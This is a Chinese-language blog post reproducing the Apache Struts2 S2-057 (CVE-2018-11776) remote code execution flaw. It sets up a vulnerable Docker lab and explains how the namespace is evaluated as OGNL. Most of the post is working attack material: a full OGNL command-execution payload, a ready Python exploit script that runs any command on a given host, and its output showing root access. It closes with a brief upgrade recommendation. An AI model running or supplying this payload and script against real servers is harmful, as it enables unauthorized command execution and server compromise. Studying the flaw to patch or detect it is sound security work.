Apache Struts2 S2-057 远程代码执行

Author Avatar
xF0rk 8月 25, 2018

2018年8月23日,Apache Strust2发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,漏洞编号为 CVE-2018-11776(S2-057)。Struts2 在 XML 配置中如果 namespace 值未设置且(Action Configuration)中未设置或用通配符 namespace 时可能会导致远程代码执行。

环境搭建

漏洞远程代码执行场景为 S2-057,涉及到的组件有 Tomcat + Struts2,Struts2 使用官网的 showcase 项目,为节约环境搭建的时间,测试使用了前辈已经做好的 Struts2 showcase 的 Docker 镜像,拉取漏洞镜像并启动容器

docker pull piesecurity/apache-struts2-cve-2017-5638

docker run --rm -ti --name struts2 -p 8081:8081 piesecurity/apache-struts2-cve-2017-5638 /bin/bash

镜像为默认 Tomcat + Struts showcase 项目配置,默认配置该漏洞无法利用成功( 尴尬的 RCE ),修改配置以便漏洞利用成功,在 /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml 文件中添加如下配置

<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />

<action name="help">
    <result type="redirectAction">
        <param name="actionName">date.action</param>
    </result>
</action>

测试下环境是否搭建成功(手工设置 Tomcat 应用端口为 8081,请根据 Tomcat 手机配置调整下述请求相关端口)

$curl localhost:8081/help.action -v
*   Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 8081 (#0)
> GET /help.action HTTP/1.1
> Host: localhost:8081
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Server: Apache-Coyote/1.1
< Location: /date.action
< Content-Length: 0
< Date: Sat, 25 Aug 2018 07:27:41 GMT
<
* Connection #0 to host localhost left intact

漏洞说明

namespace 是 struts action 组合,即使两个名称相同的 action,如果 namespace 不同,那么其 action 就完全不同,例如

/help.action /xnamespace/help.action
help.action 的 namespace 是 / help.action 的 namespace 是 /xnamespace

当使用未指定任何 namespace 的 action 将会使用 /* 进行匹配。如果一个 action 未找到对应的 namespace,struts 其会将 用户输入的 namespace 字段 当成 OGNL 表达式来执行,进而导致了 RCE 命令执行漏洞。

换句话就是说,在符合一定场景下,struts 可以把用户输入的 namespace 字段当成 OGNL 表达式执行,为实现漏洞利用过程,需要将 namespace 进行 URL 编码,然后拼接在 URL 中。

数值计算 RCE

以下为测试数值计算 Payload,执行的操作为 2+2

${2+2} 

如下为测试请求响应, Location: /4/date.action 中的 4 为执行 Payload 结果

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Location: /4/date.action
Content-Length: 0
Date: Sat, 25 Aug 2018 07:36:56 GMT
Connection: close

回显 RCE

S2-057 既然是 RCE ,那就得把 RCE 给复现出来,以下为带回显的 Payload,执行的命令为 id

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

如下为测试请求响应

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Sat, 25 Aug 2018 06:58:03 GMT
Connection: close
Content-Length: 39

uid=0(root) gid=0(root) groups=0(root)

自动化工具

如下为远程执行命令并回显的 Python 利用代码

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@[email protected]('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@[email protected]().getOutputStream()))."
    ognl_payload += "(@[email protected](#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

自动化测试结果

python exploit.py localhost:8081 whoami
[Execute]: whoami
[Url]: http://localhost:8081/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action



root

修复方案

默认配置不存在的 RCE,影响就不是“血洗”互联网了,官方建议直接升级Struts到2.3.35版本或2.5.17版本,不存在兼容性问题(需确认更新版本与业务版本之间的差距,建议研发灰度测试、升级)

参考链接

  1. Apache Struts2 CVE-2018-11776 POC 链接
  2. Apache Struts2 S2-057漏洞分析预警 链接
  3. CVE-2018-11776-Python-PoC 链接